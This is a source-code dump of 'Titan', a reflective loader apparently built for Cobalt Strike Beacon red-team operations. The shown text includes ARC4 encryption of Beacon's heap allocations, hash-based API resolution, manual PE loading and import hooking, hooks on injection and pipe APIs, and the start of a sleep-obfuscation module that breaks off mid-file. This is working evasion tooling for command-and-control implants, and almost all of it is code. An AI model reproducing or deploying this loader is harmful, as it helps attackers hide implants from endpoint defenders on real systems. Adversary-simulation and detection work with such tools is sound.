├── Arc4.c ├── Arc4.h ├── Common.h ├── Config.h ├── Hash.c ├── Hash.h ├── Hde.h ├── Heap.c ├── Heap.h ├── HeapList.h ├── Labels.h ├── Ldr.c ├── Ldr.h ├── Macros.h ├── Makefile ├── Native.h ├── Obf.c ├── Obf.h ├── OtherFile.zip ├── Pe.c ├── Pe.h ├── Peb.c ├── Peb.h ├── PipeList.h ├── PreMain.c ├── PreMain.h ├── README.md ├── Random.c ├── Random.h ├── SectionLink.ld ├── Table.h ├── Titan.c ├── Titan.cna └── Titan.h /Arc4.c: -------------------------------------------------------------------------------- 1 | /** 2 | 3 | BSD 3-Clause License 4 | 5 | Copyright (c) 2021, Mike Gelfand 6 | All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without 9 | modification, are permitted provided that the following conditions are met: 10 | 11 | 1. Redistributions of source code must retain the above copyright notice, this 12 | list of conditions and the following disclaimer. 13 | 14 | 2. Redistributions in binary form must reproduce the above copyright notice, 15 | this list of conditions and the following disclaimer in the documentation 16 | and/or other materials provided with the distribution. 17 | 18 | 3. Neither the name of the copyright holder nor the names of its 19 | contributors may be used to endorse or promote products derived from 20 | this software without specific prior written permission. 21 | 22 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 23 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 24 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 25 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 26 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 27 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 28 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 29 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 30 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 31 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 32 | 33 | **/ 34 | 35 | #include "Common.h" 36 | 37 | #define ARC4_MAGIC 0x34637261 // 'arc4' (LE) 38 | 39 | D_SEC( E ) void arc4_swap(struct arc4_context* ctx, size_t i, size_t j) 40 | { 41 | uint8_t const t = ctx->s[i]; 42 | ctx->s[i] = ctx->s[j]; 43 | ctx->s[j] = t; 44 | } 45 | 46 | D_SEC( E ) uint8_t arc4_next(struct arc4_context* ctx) 47 | { 48 | ctx->i += 1; 49 | ctx->j += ctx->s[ctx->i]; 50 | 51 | arc4_swap(ctx, ctx->i, ctx->j); 52 | 53 | return ctx->s[(uint8_t)(ctx->s[ctx->i] + ctx->s[ctx->j])]; 54 | } 55 | 56 | D_SEC( E ) void arc4_init(struct arc4_context* ctx, void const* key, size_t key_length) 57 | { 58 | #ifndef NDEBUG 59 | ctx->magic = ARC4_MAGIC; 60 | #endif 61 | 62 | ctx->i = 0; 63 | ctx->j = 0; 64 | 65 | for (size_t i = 0; i < 256; ++i) 66 | { 67 | ctx->s[i] = (uint8_t)i; 68 | } 69 | 70 | for (size_t i = 0, j = 0; i < 256; ++i) 71 | { 72 | j = (uint8_t)(j + ctx->s[i] + ((uint8_t const*)key)[i % key_length]); 73 | arc4_swap(ctx, i, j); 74 | } 75 | } 76 | 77 | D_SEC( E ) void arc4_process(struct arc4_context* ctx, void const* src_data, void* dst_data, size_t data_length) 78 | { 79 | if (data_length == 0) 80 | { 81 | return; 82 | } 83 | 84 | for (size_t i = 0; i < data_length; ++i) 85 | { 86 | ((uint8_t*)dst_data)[i] = ((uint8_t const*)src_data)[i] ^ arc4_next(ctx); 87 | } 88 | } 89 | 90 | D_SEC( E ) void arc4_discard(struct arc4_context* ctx, size_t length) 91 | { 92 | for (size_t i = 0; i < length; ++i) 93 | { 94 | arc4_next(ctx); 95 | } 96 | } 97 | -------------------------------------------------------------------------------- /Arc4.h: -------------------------------------------------------------------------------- 1 | /** 2 | 3 | BSD 3-Clause License 4 | 5 | Copyright (c) 2021, Mike Gelfand 6 | All rights reserved. 7 | 8 | Redistribution and use in source and binary forms, with or without 9 | modification, are permitted provided that the following conditions are met: 10 | 11 | 1. Redistributions of source code must retain the above copyright notice, this 12 | list of conditions and the following disclaimer. 13 | 14 | 2. Redistributions in binary form must reproduce the above copyright notice, 15 | this list of conditions and the following disclaimer in the documentation 16 | and/or other materials provided with the distribution. 17 | 18 | 3. Neither the name of the copyright holder nor the names of its 19 | contributors may be used to endorse or promote products derived from 20 | this software without specific prior written permission. 21 | 22 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 23 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 24 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 25 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 26 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 27 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 28 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 29 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 30 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 31 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 32 | 33 | **/ 34 | 35 | #pragma once 36 | 37 | #include 38 | #include 39 | 40 | #ifdef __cplusplus 41 | extern "C" { 42 | #endif 43 | 44 | struct arc4_context 45 | { 46 | #ifndef NDEBUG 47 | uint32_t magic; 48 | #endif 49 | uint8_t i; 50 | uint8_t j; 51 | uint8_t s[256]; 52 | }; 53 | 54 | typedef struct arc4_context ARC4_CTX; 55 | 56 | D_SEC( E ) void arc4_init(struct arc4_context* ctx, void const* key, size_t key_length); 57 | D_SEC( E ) void arc4_process(struct arc4_context* ctx, void const* src_data, void* dst_data, size_t data_length); 58 | D_SEC( E ) void arc4_discard(struct arc4_context* ctx, size_t length); 59 | 60 | #ifdef __cplusplus 61 | } 62 | #endif 63 | -------------------------------------------------------------------------------- /Common.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | /* Include core defs */ 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include "Native.h" 23 | #include "Macros.h" 24 | #include "Config.h" 25 | #include "Arc4.h" 26 | 27 | /* Include Library */ 28 | #include "HeapList.h" 29 | #include "PipeList.h" 30 | #include "PreMain.h" 31 | #include "Labels.h" 32 | #include "Random.h" 33 | #include "Titan.h" 34 | #include "Table.h" 35 | #include "Hash.h" 36 | #include "Heap.h" 37 | #include "Peb.h" 38 | #include "Ldr.h" 39 | #include "Hde.h" 40 | #include "Obf.h" 41 | #include "Pe.h" 42 | 43 | /* Include Hooks! */ 44 | #include "hooks/WaitForSingleObject.h" 45 | #include "hooks/NtMapViewOfSection.h" 46 | #include "hooks/WriteProcessMemory.h" 47 | #include "hooks/ReadProcessMemory.h" 48 | #include "hooks/VirtualProtectEx.h" 49 | #include "hooks/NtQueueApcThread.h" 50 | #include "hooks/SetThreadContext.h" 51 | #include "hooks/CreateNamedPipeA.h" 52 | #include "hooks/ConnectNamedPipe.h" 53 | #include "hooks/GetProcAddress.h" 54 | #include "hooks/VirtualAllocEx.h" 55 | #include "hooks/CreateThread.h" 56 | #include "hooks/HeapReAlloc.h" 57 | #include "hooks/CloseHandle.h" 58 | #include "hooks/DnsQuery_A.h" 59 | #include "hooks/ExitThread.h" 60 | #include "hooks/HeapAlloc.h" 61 | #include "hooks/WriteFile.h" 62 | #include "hooks/ReadFile.h" 63 | #include "hooks/HeapFree.h" 64 | #include "hooks/Sleep.h" 65 | -------------------------------------------------------------------------------- /Config.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | typedef struct __attribute__(( packed, scalar_storage_order( "big-endian" ) )) 14 | { 15 | UINT32 Rc4Len; 16 | UINT8 KeyBuf[ 16 ]; 17 | UINT8 Rc4Buf[ 0 ]; 18 | } CONFIG, *PCONFIG ; 19 | -------------------------------------------------------------------------------- /Hash.c: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #include "Common.h" 12 | 13 | /*! 14 | * 15 | * Purpose: 16 | * 17 | * Creates a hash summary of the input buffer. 18 | * If a length is not provided, it assumes it 19 | * is NULL terminated. 20 | * 21 | !*/ 22 | 23 | D_SEC( E ) UINT32 HashString( _In_ PVOID Buffer, _In_opt_ ULONG Length ) 24 | { 25 | UCHAR Cur = 0; 26 | ULONG Djb = 0; 27 | PUCHAR Ptr = NULL; 28 | 29 | Djb = 5381; 30 | Ptr = C_PTR( Buffer ); 31 | 32 | while ( TRUE ) { 33 | /* Get the current character */ 34 | Cur = * Ptr; 35 | 36 | if ( ! Length ) { 37 | /* NULL terminated? */ 38 | if ( ! * Ptr ) { 39 | break; 40 | }; 41 | } else { 42 | /* Position exceed the length of the buffer? */ 43 | if ( ( ULONG )( Ptr - ( PUCHAR ) Buffer ) >= Length ) { 44 | break; 45 | }; 46 | /* NULL terminated? */ 47 | if ( ! * Ptr ) { 48 | ++Ptr; continue; 49 | }; 50 | }; 51 | /* Lowercase */ 52 | if ( Cur >= 'a' ) { 53 | Cur -= 0x20; 54 | }; 55 | 56 | /* Hash the character */ 57 | Djb = ( ( Djb << 5 ) + Djb ) + Cur; ++Ptr; 58 | }; 59 | return Djb; 60 | }; 61 | -------------------------------------------------------------------------------- /Hash.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | /*! 14 | * 15 | * Purpose: 16 | * 17 | * Creates a hash summary of the input buffer. 18 | * If a length is not provided, it assumes it 19 | * is NULL terminated. 20 | * 21 | !*/ 22 | 23 | D_SEC( E ) UINT32 HashString( _In_ PVOID Buffer, _In_opt_ ULONG Length ); 24 | -------------------------------------------------------------------------------- /Hde.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | /* Is not x64? */ 14 | #ifndef _WIN64 15 | /* Include x86 dissasembler */ 16 | #include "hde/hde32.h" 17 | /* Force common name */ 18 | typedef hde32s HDE; 19 | /* Force common func */ 20 | #define HDE_DISASM( code, hs ) hde32_disasm( code, hs ) 21 | #else 22 | /* Include x64 dissasembler */ 23 | #include "hde/hde64.h" 24 | /* Force common name */ 25 | typedef hde64s HDE; 26 | /* Force common func */ 27 | #define HDE_DISASM( code, hs ) hde64_disasm( code, hs ) 28 | #endif 29 | -------------------------------------------------------------------------------- /Heap.c: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #include "Common.h" 12 | 13 | /*! 14 | * 15 | * Purpose: 16 | * 17 | * Encrypts every heap allocation made by Beacon 18 | * using ARC-4 symetric algorithm. 19 | * 20 | !*/ 21 | D_SEC( E ) VOID HeapEncryptDecrypt( _In_ PCHAR Key, _In_ UINT32 KeyLength ) 22 | { 23 | ARC4_CTX Arc; 24 | 25 | PTABLE Tbl = NULL; 26 | PLIST_ENTRY Hdr = NULL; 27 | PLIST_ENTRY Ent = NULL; 28 | PHEAP_ENTRY_BEACON Heb = NULL; 29 | 30 | /* Zero out stack structures */ 31 | RtlSecureZeroMemory( &Arc, sizeof( Arc ) ); 32 | 33 | /* Init the key */ 34 | arc4_init( &Arc, Key, KeyLength ); 35 | 36 | /* Setup heap buffer list */ 37 | Tbl = C_PTR( G_SYM( Table ) ); 38 | Hdr = C_PTR( & Tbl->Table->HeapList ); 39 | Ent = C_PTR( Hdr->Flink ); 40 | 41 | /* Enumerate the complete list of entries */ 42 | for ( ; Ent != Hdr ; Ent = C_PTR( Ent->Flink ) ) { 43 | /* Pointer to the structure */ 44 | Heb = C_PTR( CONTAINING_RECORD( Ent, HEAP_ENTRY_BEACON, HeapList ) ); 45 | 46 | /* Encrypt / Decrypt the buffer! */ 47 | arc4_process( &Arc, Heb->Buffer, Heb->Buffer, Heb->Length ); 48 | }; 49 | 50 | /* Zero out stack structures */ 51 | RtlSecureZeroMemory( &Arc, sizeof( Arc ) ); 52 | }; 53 | -------------------------------------------------------------------------------- /Heap.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | /*! 14 | * 15 | * Purpose: 16 | * 17 | * Encrypts every heap allocation made by Beacon 18 | * using ARC-4 symetric algorithm. 19 | * 20 | !*/ 21 | D_SEC( E ) VOID HeapEncryptDecrypt( _In_ PCHAR Key, _In_ UINT32 KeyLength ); 22 | -------------------------------------------------------------------------------- /HeapList.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | typedef struct 14 | { 15 | LIST_ENTRY HeapList; 16 | LPVOID Buffer; 17 | SIZE_T Length; 18 | } HEAP_ENTRY_BEACON, *PHEAP_ENTRY_BEACON ; 19 | -------------------------------------------------------------------------------- /Labels.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | static ULONG_PTR Start( VOID ); 14 | static ULONG_PTR GetIp( VOID ); 15 | static ULONG_PTR Table( VOID ); 16 | -------------------------------------------------------------------------------- /Ldr.c: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack SimulatioN 8 | * 9 | **/ 10 | 11 | #include "Common.h" 12 | 13 | typedef struct 14 | { 15 | WORD Offset : 0xc; 16 | WORD Type : 0x4; 17 | } IMAGE_RELOC, *PIMAGE_RELOC ; 18 | 19 | typedef struct 20 | { 21 | D_API( RtlAnsiStringToUnicodeString ); 22 | D_API( LdrGetProcedureAddress ); 23 | D_API( RtlFreeUnicodeString ); 24 | D_API( RtlInitAnsiString ); 25 | D_API( LdrLoadDll ); 26 | } API; 27 | 28 | #define H_API_RTLANSISTRINGTOUNICODESTRING 0x6c606cba /* RtlAnsiStringToUnicodeString */ 29 | #define H_API_LDRGETPROCEDUREADDRESS 0xfce76bb6 /* LdrGetProcedureAddress */ 30 | #define H_API_RTLFREEUNICODESTRING 0x61b88f97 /* RtlFreeUnicodeString */ 31 | #define H_API_RTLINITANSISTRING 0xa0c8436d /* RtlInitAnsiString */ 32 | #define H_API_LDRLOADDLL 0x9e456a43 /* LdrLoadDll */ 33 | #define H_LIB_NTDLL 0x1edab0ed /* ntdll.dll */ 34 | 35 | /*! 36 | * 37 | * Purpose: 38 | * 39 | * Resolves the required imports and fills 40 | * in their respective entries. 41 | * 42 | !*/ 43 | 44 | D_SEC( E ) VOID LdrProcessIat( _In_ PVOID Image, _In_ PVOID Directory ) 45 | { 46 | API Api; 47 | ANSI_STRING Ani; 48 | UNICODE_STRING Unm; 49 | 50 | PVOID Mod = NULL; 51 | PVOID Fcn = NULL; 52 | PIMAGE_THUNK_DATA Otd = NULL; 53 | PIMAGE_THUNK_DATA Ntd = NULL; 54 | PIMAGE_IMPORT_BY_NAME Ibn = NULL; 55 | PIMAGE_IMPORT_DESCRIPTOR Imp = NULL; 56 | 57 | RtlSecureZeroMemory( &Api, sizeof( Api ) ); 58 | RtlSecureZeroMemory( &Ani, sizeof( Ani ) ); 59 | RtlSecureZeroMemory( &Unm, sizeof( Unm ) ); 60 | 61 | Api.RtlAnsiStringToUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLANSISTRINGTOUNICODESTRING ); 62 | Api.LdrGetProcedureAddress = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRGETPROCEDUREADDRESS ); 63 | Api.RtlFreeUnicodeString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLFREEUNICODESTRING ); 64 | Api.RtlInitAnsiString = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_RTLINITANSISTRING ); 65 | Api.LdrLoadDll = PeGetFuncEat( PebGetModule( H_LIB_NTDLL ), H_API_LDRLOADDLL ); 66 | 67 | /* Enumerate the directory. */ 68 | for ( Imp = C_PTR( Directory ) ; Imp->Name != 0 ; ++Imp ) { 69 | Api.RtlInitAnsiString( &Ani, C_PTR( U_PTR( Image ) + Imp->Name ) ); 70 | 71 | if ( NT_SUCCESS( Api.RtlAnsiStringToUnicodeString( &Unm, &Ani, TRUE ) ) ) { 72 | if ( NT_SUCCESS( Api.LdrLoadDll( NULL, 0, &Unm, &Mod ) ) ) { 73 | Otd = C_PTR( U_PTR( Image ) + Imp->OriginalFirstThunk ); 74 | Ntd = C_PTR( U_PTR( Image ) + Imp->FirstThunk ); 75 | 76 | /* Enumerate Function Imports */ 77 | for ( ; Otd->u1.AddressOfData != 0 ; ++Otd, ++Ntd ) { 78 | if ( IMAGE_SNAP_BY_ORDINAL( Otd->u1.Ordinal ) ) { 79 | /* Is Integer? Import */ 80 | if ( NT_SUCCESS( Api.LdrGetProcedureAddress( Mod, NULL, IMAGE_ORDINAL( Otd->u1.Ordinal ), &Fcn ) ) ) { 81 | Ntd->u1.Function = Fcn; 82 | }; 83 | } else { 84 | /* Is String? Import */ 85 | Ibn = C_PTR( U_PTR( Image ) + Otd->u1.AddressOfData ); 86 | Api.RtlInitAnsiString( &Ani, C_PTR( Ibn->Name ) ); 87 | 88 | if ( NT_SUCCESS( Api.LdrGetProcedureAddress( Mod, &Ani, 0, &Fcn ) ) ) { 89 | Ntd->u1.Function = Fcn; 90 | }; 91 | }; 92 | }; 93 | }; 94 | Api.RtlFreeUnicodeString( &Unm ); 95 | }; 96 | }; 97 | }; 98 | 99 | /*! 100 | * 101 | * Purpose: 102 | * 103 | * Relocates the PE based on its relative base. 104 | * 105 | !*/ 106 | 107 | D_SEC( E ) VOID LdrProcessRel( _In_ PVOID Image, _In_ PVOID Directory, _In_ PVOID ImageBase ) 108 | { 109 | ULONG_PTR Ofs = 0; 110 | 111 | PIMAGE_RELOC Rel = NULL; 112 | PIMAGE_BASE_RELOCATION Ibr = NULL; 113 | 114 | Ibr = C_PTR( Directory ); 115 | Ofs = C_PTR( U_PTR( Image ) - U_PTR( ImageBase ) ); 116 | 117 | /* Is a relocation! */ 118 | while ( Ibr->VirtualAddress != 0 ) { 119 | Rel = ( PIMAGE_RELOC )( Ibr + 1 ); 120 | 121 | /* Exceed the size of the relocation? */ 122 | while ( C_PTR( Rel ) != C_PTR( U_PTR( Ibr ) + Ibr->SizeOfBlock ) ) { 123 | switch( Rel->Type ) { 124 | /* 8 wide */ 125 | case IMAGE_REL_BASED_DIR64: 126 | *( DWORD64 * )( U_PTR( Image ) + Ibr->VirtualAddress + Rel->Offset ) += ( DWORD64 )( Ofs ); 127 | break; 128 | /* 4 wide */ 129 | case IMAGE_REL_BASED_HIGHLOW: 130 | *( DWORD32 * )( U_PTR( Image ) + Ibr->VirtualAddress + Rel->Offset ) += ( DWORD32 )( Ofs ); 131 | break; 132 | }; 133 | ++Rel; 134 | }; 135 | Ibr = C_PTR( Rel ); 136 | }; 137 | }; 138 | 139 | /*! 140 | * 141 | * Purpose: 142 | * 143 | * Applies a hook the import table of a PE. 144 | * 145 | !*/ 146 | 147 | D_SEC( E ) VOID LdrHookImport( _In_ PVOID Image, _In_ PVOID Directory, _In_ ULONG Hash, _In_ PVOID Function ) 148 | { 149 | ULONG Djb = 0; 150 | 151 | PIMAGE_THUNK_DATA Otd = NULL; 152 | PIMAGE_THUNK_DATA Ntd = NULL; 153 | PIMAGE_IMPORT_BY_NAME Ibn = NULL; 154 | PIMAGE_IMPORT_DESCRIPTOR Imp = NULL; 155 | 156 | for ( Imp = C_PTR( Directory ) ; Imp->Name != 0 ; ++Imp ) { 157 | Otd = C_PTR( U_PTR( Image ) + Imp->OriginalFirstThunk ); 158 | Ntd = C_PTR( U_PTR( Image ) + Imp->FirstThunk ); 159 | 160 | for ( ; Otd->u1.AddressOfData != 0 ; ++Otd, ++Ntd ) { 161 | if ( ! IMAGE_SNAP_BY_ORDINAL( Otd->u1.Ordinal ) ) { 162 | Ibn = C_PTR( U_PTR( Image ) + Otd->u1.AddressOfData ); 163 | Djb = HashString( Ibn->Name, 0 ); 164 | 165 | if ( Djb == Hash ) { 166 | Ntd->u1.Function = C_PTR( Function ); 167 | }; 168 | }; 169 | }; 170 | }; 171 | }; 172 | -------------------------------------------------------------------------------- /Ldr.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack SimulatioN 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | /*! 14 | * 15 | * Purpose: 16 | * 17 | * Resolves the required imports and fills 18 | * in their respective entries. 19 | * 20 | !*/ 21 | 22 | D_SEC( E ) VOID LdrProcessIat( _In_ PVOID Image, _In_ PVOID Directory ); 23 | 24 | /*! 25 | * 26 | * Purpose: 27 | * 28 | * Relocates the PE based on its relative base. 29 | * 30 | !*/ 31 | 32 | D_SEC( E ) VOID LdrProcessRel( _In_ PVOID Image, _In_ PVOID Directory, _In_ PVOID ImageBase ); 33 | 34 | /*! 35 | * 36 | * Purpose: 37 | * 38 | * Applies a hook the import table of a PE. 39 | * 40 | !*/ 41 | 42 | D_SEC( E ) VOID LdrHookImport( _In_ PVOID Image, _In_ PVOID Directory, _In_ ULONG Hash, _In_ PVOID Function ); 43 | -------------------------------------------------------------------------------- /Macros.h: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #pragma once 12 | 13 | /* Gets a pointer to the function or string via its relative offset to GetIp() */ 14 | #define G_SYM( x ) ( ULONG_PTR )( GetIp( ) - ( ( ULONG_PTR ) & GetIp - ( ULONG_PTR ) x ) ) 15 | 16 | /* Sets a function in a specific region of memory */ 17 | #define D_SEC( x ) __attribute__(( section( ".text$" #x ) )) 18 | 19 | /* Cast as a pointer with the specified typedef */ 20 | #define D_API( x ) __typeof__( x ) * x 21 | 22 | /* Cast as a unsigned pointer-wide integer type */ 23 | #define U_PTR( x ) ( ( ULONG_PTR ) x ) 24 | 25 | /* Cast as a unsigned pointer-wide type */ 26 | #define C_PTR( x ) ( ( PVOID ) x ) 27 | 28 | /* Arch Specific Macros */ 29 | #if defined( _WIN64 ) 30 | /* Get the end of code: x64 */ 31 | #define G_END( x ) U_PTR( GetIp( ) + 11 ) 32 | #else 33 | /* Get the end of code: x86 */ 34 | #define G_END( x ) U_PTR( GetIp( ) + 10 ) 35 | #endif 36 | -------------------------------------------------------------------------------- /Makefile: -------------------------------------------------------------------------------- 1 | CC_X64 := x86_64-w64-mingw32-gcc 2 | CC_X86 := i686-w64-mingw32-gcc 3 | 4 | CFLAGS := $(CFLAGS) -Os -fno-asynchronous-unwind-tables -nostdlib 5 | CFLAGS := $(CFLAGS) -fno-ident -fpack-struct=8 -falign-functions=1 6 | CFLAGS := $(CFLAGS) -s -ffunction-sections -falign-jumps=1 -w 7 | CFLAGS := $(CFLAGS) -falign-labels=1 -fPIC -Wl,-TSectionLink.ld 8 | LFLAGS := $(LFLAGS) -Wl,-s,--no-seh,--enable-stdcall-fixup 9 | 10 | OUTX64 := Titan.x64.exe 11 | OUTX86 := Titan.x86.exe 12 | BINX64 := Titan.x64.bin 13 | BINX86 := Titan.x86.bin 14 | 15 | all: 16 | @ nasm -f win32 asm/x86/Start.asm -o Start.x86.o 17 | @ nasm -f win64 asm/x64/Start.asm -o Start.x64.o 18 | @ nasm -f win32 asm/x86/GetIp.asm -o GetIp.x86.o 19 | @ nasm -f win64 asm/x64/GetIp.asm -o GetIp.x64.o 20 | @ $(CC_X86) *.c Start.x86.o GetIp.x86.o hooks/*.c hde/*32*.c -o $(OUTX86) $(CFLAGS) $(LFLAGS) -I. 21 | @ $(CC_X64) *.c Start.x64.o GetIp.x64.o hooks/*.c hde/*64*.c -o $(OUTX64) $(CFLAGS) $(LFLAGS) -I. 22 | @ python3 python3/extract.py -f $(OUTX86) -o $(BINX86) 23 | @ python3 python3/extract.py -f $(OUTX64) -o $(BINX64) 24 | 25 | clean: 26 | @ rm -rf *.o 27 | @ rm -rf *.bin 28 | @ rm -rf *.exe 29 | -------------------------------------------------------------------------------- /Obf.c: -------------------------------------------------------------------------------- 1 | /** 2 | * 3 | * Reflective Loader 4 | * 5 | * GuidePoint Security LLC 6 | * 7 | * Threat and Attack Simulation 8 | * 9 | **/ 10 | 11 | #include "Common.h" 12 | 13 | #if defined( _WIN64 ) 14 | 15 | NTSTATUS 16 | NTAPI 17 | RtlRegisterWaitQueue( 18 | _In_ PHANDLE NewTimerQueue 19 | ); 20 | 21 | NTSTATUS 22 | NTAPI 23 | RtlCopyMappedMemory( 24 | _In_ LPVOID Destination, 25 | _In_ LPVOID Source, 26 | _In_ SIZE_T Length 27 | ); 28 | 29 | typedef struct 30 | { 31 | DWORD Length; 32 | DWORD MaximumLength; 33 | PVOID Buffer; 34 | } USTRING, *PUSTRING ; 35 | 36 | typedef struct 37 | { 38 | PVOID Rsp; 39 | PVOID Ev1; 40 | PVOID Ev2; 41 | } THREAD_PARAM, *PTHREAD_PARAM ; 42 | 43 | typedef struct 44 | { 45 | PVOID Thread; 46 | PVOID Master; 47 | PVOID Slaves; 48 | 49 | D_API( SwitchToFiber ); 50 | } FIBER_PARAM, *PFIBER_PARAM ; 51 | 52 | typedef struct 53 | { 54 | PVOID TebInformation; 55 | ULONG TebOffset; 56 | ULONG BytesToRead; 57 | } THREAD_TEB_INFORMATION ; 58 | 59 | NTSTATUS 60 | NTAPI 61 | SystemFunction032( 62 | _In_ PUSTRING Buffer, 63 | _In_ PUSTRING Key 64 | ); 65 | 66 | typedef struct 67 | { 68 | D_API( SetProcessValidCallTargets ); 69 | } CFG_API ; 70 | 71 | typedef struct 72 | { 73 | D_API( RtlRemoveVectoredExceptionHandler ); 74 | D_API( RtlAddVectoredExceptionHandler ); 75 | D_API( RtlRegisterWait ); 76 | } HCK_API ; 77 | 78 | typedef struct 79 | { 80 | D_API( NtQueryInformationThread ); 81 | D_API( LdrGetProcedureAddress ); 82 | D_API( NtWaitForSingleObject ); 83 | D_API( ConvertThreadToFiber ); 84 | D_API( ConvertFiberToThread ); 85 | D_API( RtlInitUnicodeString ); 86 | D_API( NtSetContextThread ); 87 | D_API( NtGetContextThread ); 88 | D_API( RtlInitAnsiString ); 89 | D_API( NtCreateThreadEx ); 90 | D_API( NtSuspendThread ); 91 | D_API( RtlAllocateHeap ); 92 | D_API( NtResumeThread ); 93 | D_API( NtCreateEvent ); 94 | D_API( SwitchToFiber ); 95 | D_API( LdrUnloadDll ); 96 | D_API( RtlFreeHeap ); 97 | D_API( CreateFiber ); 98 | D_API( DeleteFiber ); 99 | D_API( NtSetEvent ); 100 | D_API( LdrLoadDll ); 101 | D_API( NtClose ); 102 | } MIN_API ; 103 | 104 | typedef struct 105 | { 106 | D_API( CloseThreadpoolCleanupGroupMembers ); 107 | D_API( NtSignalAndWaitForSingleObject ); 108 | D_API( CreateThreadpoolCleanupGroup ); 109 | D_API( SetThreadpoolThreadMaximum ); 110 | D_API( SetThreadpoolThreadMinimum ); 111 | D_API( NtQueryInformationThread ); 112 | D_API( LdrGetProcedureAddress ); 113 | D_API( WaitForSingleObjectEx ); 114 | D_API( NtWaitForSingleObject ); 115 | D_API( NtQueryVirtualMemory ); 116 | D_API( RtlInitUnicodeString ); 117 | D_API( RtlCopyMappedMemory ); 118 | D_API( NtGetContextThread ); 119 | D_API( NtSetContextThread ); 120 | D_API( RtlDeregisterWait ); 121 | D_API( SystemFunction032 ); 122 | D_API( RtlCaptureContext ); 123 | D_API( RtlInitAnsiString ); 124 | D_API( NtDuplicateObject ); 125 | D_API( NtCreateThreadEx ); 126 | D_API( CreateThreadpool ); 127 | D_API( NtSuspendThread ); 128 | D_API( NtGetNextThread ); 129 | D_API( CloseThreadpool ); 130 | D_API( RtlAllocateHeap ); 131 | D_API( 